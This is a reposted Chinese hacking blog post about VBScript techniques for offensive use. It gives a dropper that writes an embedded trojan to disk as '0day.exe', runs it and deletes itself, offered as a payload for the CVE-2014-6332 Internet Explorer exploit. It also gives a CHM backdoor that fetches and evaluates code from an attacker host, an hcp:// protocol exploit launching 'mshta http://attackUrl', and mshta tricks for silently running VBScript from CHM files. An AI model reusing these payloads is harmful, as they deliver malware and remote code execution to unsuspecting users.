转载

昨日黄花--vbscript(一)

0x00 前言

python、powershell、php在脚本编程界的地位如日中天,vbscript已零落成泥碾作尘,已成昨日黄花。犹记得zzzevazzz在2004年前有两篇文章横空出世,分别是《深入挖掘Windows脚本技术》和《Do All in Cmd Shell (一切尽在命令行)》,博得一片惊叹,引起广大反响。但12年过去了,vbscript在黑客界的地位逐渐势微,连微软脚本专家都放弃了它,更多的人转向了powershell在黑客方面的研究。

我写这篇文章,一方面是对zzzevzaaa的文章的挂漏补遗,另一方面展现vbs一些小技巧,更重要的是对自己放弃在vbs方面研究的缅怀。

0x01 vbs写二进制字节的代码以及利用

《Do All in Cmd Shell (一切尽在命令行)》这里写到过一个问题:echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新”编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

先来说一下vbs写base64字节流还原二进制,用Microsoft.XMLDOM组件来解决就很简单了。关键函数如下:

#!vb private function readBytes(file)   dim inStream   ' ADODB stream object used   set inStream = WScript.CreateObject("ADODB.Stream")   ' open with no arguments makes the stream an empty container    inStream.Open   inStream.type= TypeBinary   inStream.LoadFromFile(file)   readBytes = inStream.Read() end function  private function encodeBase64(bytes)   dim DM, EL   Set DM = CreateObject("Microsoft.XMLDOM")   ' Create temporary node with Base64 data type   Set EL = DM.createElement("tmp")   EL.DataType = "bin.base64"   ' Set bytes, get encoded String   EL.NodeTypedValue = bytes   encodeBase64 = EL.Text end function  private function decodeBase64(base64)   dim DM, EL   Set DM = CreateObject("Microsoft.XMLDOM")   ' Create temporary node with Base64 data type   Set EL = DM.createElement("tmp")   EL.DataType = "bin.base64"   ' Set encoded String, get bytes   EL.Text = base64   decodeBase64 = EL.NodeTypedValue end function  private Sub writeBytes(file, bytes)   Dim binaryStream   Set binaryStream = CreateObject("ADODB.Stream")   binaryStream.Type = TypeBinary   'Open the stream and write binary data   binaryStream.Open   binaryStream.Write bytes   'Save binary data to disk   binaryStream.SaveToFile file, ForWriting End Sub

全部代码在这https://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary-encodedecode-base64/,编码和解码的效率还是不错的。

如果用ADODB.Recordset组件还原16进制为二进制文件,效率稍差,但也是可以做到的。说到vbs写二进制文件,有没有想到袁哥哪个ie的神洞CVE-2014-6332呢?我个人收集了一些这个网马样本,但90%用的是下载执行的方法,还有的样本甚至用了ftp下载执行的办法,其实不必哪么麻烦。袁哥给出的样本在这http://www.freebuf.com/articles/system/51501.html,我们可以把其中的runmumaa()函数改写如下代码,这样就利索多了:

#!vb Function runmumaa()  Set Fso=CreateObject("Scripting.FileSystemObject") path="C:/ProgramData/Microsoft/Windows/DRM/" If Not (fso.FolderExists(path)) Then path= "C:/docume~1/alluse~1/" End If  Set ws = CreateObject("Wscript.Shell")  Set wf=fso.OpenTextFile(path&"test.vbs",2, True) wf.write "fp="""&path&"0day.exe"":set fs=CreateObject(""Scripting.FileSystemObject""):set ws= Createobject(""WScript.Shell""):ss=""4D5A9000'木马的16进制编码"":Set RS = CreateObject(""ADODB.Recordset""):L = Len(ss) / 2:RS.Fields.Append ""m"", 205, L:RS.Open:RS.AddNew:RS(""m"") = ss & ChrB(0):RS.Update:ss = RS(""m"").GetChunk(L):Set s = CreateObject(""ADODB.Stream""):With s: .Mode = 3:.Type = 1:.Open:.Write ss:.SaveToFile fp, 2:End With:ws.run fp:fs.DeleteFile(wscript.scriptfullname)" wf.close Set wf=Nothing  set objShellApp=CreateObject("Shell.Application") If (fso.FileExists(path&"dell.vbs")) Then   Set objFolder = objShellApp.NameSpace(path) objFolder.Items().item("test.vbs").invokeverb   End If  end Function

0x02 vbs在协议方面的代码以及利用

wooyun知识库有篇文章,《高级组合技打造“完美” 捆绑后门》(http://drops.wooyun.org/tips/14254),主要说的是用powershell方法来制作一个chm后门。文章写得很好,但会忽略了一部分xp用户。如果让chm不弹不闪执行一个exe的话,为什么不用vbs呢?原文中最终的代码如下:

#!vb <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>    This is a demo ! <br> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut">  <PARAM name="Button" value="Bitmap::shortcut">  <PARAM name="Item1" value=',rundll32.exe,javascript:"/../mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>  <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>

它这里Item1用的value值是rundll32.exe,javascript来执行的js代码,其实这里我们可以用mshta来执行vbs或js。有一个比较简单的思路是在chm主页中嵌入一个htm。像代码是 <img src=1.htm> ,然后利用CDO.Message来读 mk:@MSITStore 协议或是 ms-its 协议,然后这个1.htm里是你的vbs代码,这样你就为所欲为了。

示例代码: mshta mk:@MSITStore:H:/i/d盘/old/easychm/d.chm::/1.htm (如图1)

昨日黄花--vbscript(一)

或是: mshta its:H:/i/d盘/old/easychm/d.chm::/1.htm

或是: mshta ms-its:H:/i/d盘/old/easychm/d.chm::/1.htm

说到这里,有没有又想到几年前的哪个hcp协议漏洞呢( M10-042)?如果我们用到mshta的话,就不用在url里写哪么多代码了。示例如下:

#!html <iframe src="hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript/defer%3Eeval%28unescape%28%27Run%2528%2522mshta%2520http%253A//attackUrl%2522%2529%27%29%29%3C/script%3E">

0x03 mstha运行vbs的代码以及利用

在文章第二部分,我用到了mshta来直接运行 mk:@MSITStore:H:/i/d盘/old/easychm/d.chm::/1.htm 。我估计很多人有疑惑,你把chm代码发给对方后,你如何判断对方chm的具体位置呢?其实这个就涉及到mshta如何来运行vbs了。几年前我在<<黑客手册>>这本书里写到<<非常规运行vbs>>给出的示例代码是: mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close) 。这里的方法有个极大的弊端,代码之间不能有空格,例如只能写 mshta vbscript:msgbox("a") ,而不能写成 mshta vbscript:msgbox "a" ,写成后一种会出错。其实我觉得这种写法应当是微软的bug或是微软的宽容,mstha应当运行的是vbscript而不是vbs。所以深入一下我们就明白发如何在mshta随心所欲写vbs了。

批处理之家http://www.bathome.net/thread-11516-1-1.html,myzam提到了几种mshta写vbscript的方法,给出的代码分别是:

  1. mshta vbscript:"<html style=background:buttonface><title>作者:myzam 2011-3-18</title><body>hello world<br/>hello<hr/>world<script language=vbscript>msgbox (123)</script></body></html>"
  2. mshta vbscript:"<html ><title>test</title><body>hello world <script language='vbscript'>msgbox (""hello world"") </script></html>"
  3. mshta vbscript:"<html ><title>test</title><body>hello world <script language=""vbscript"">msgbox (""hello world"") </script></html>"

这样的写法是可以的,但是你不会觉得双引号转义来转义去的麻烦呢,而且还是有空格的问题。既然mshta调用的是ie,有没有想到过ie地址栏的一些特性呢,所以我们最终代码是:

mshta &quot;about:&lt;script language=vbs&gt; msgbox &quot;a&quot; :window.close &lt;/script&gt;&quot;

用了about就不怕有空格了,代码就随意了。

以上三点是vbs的一些不常见的技巧和巧妙的代码,当然这样的技巧还是有很多的,哪就放在昨日黄花--vbscript(二)吧。

文中参考文献

  • http://huaidan.org/archives/251.html
  • https://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary-encodedecode-base64/
  • http://www.freebuf.com/articles/system/51501.html
  • http://drops.wooyun.org/tips/14254
  • http://www.bathome.net/thread-11516-1-1.html
  • http://demon.tw/?s=%E4%BA%8C%E8%BF%9B%E5%88%B6
原文  http://drops.wooyun.org/tips/17725
正文到此结束
Loading...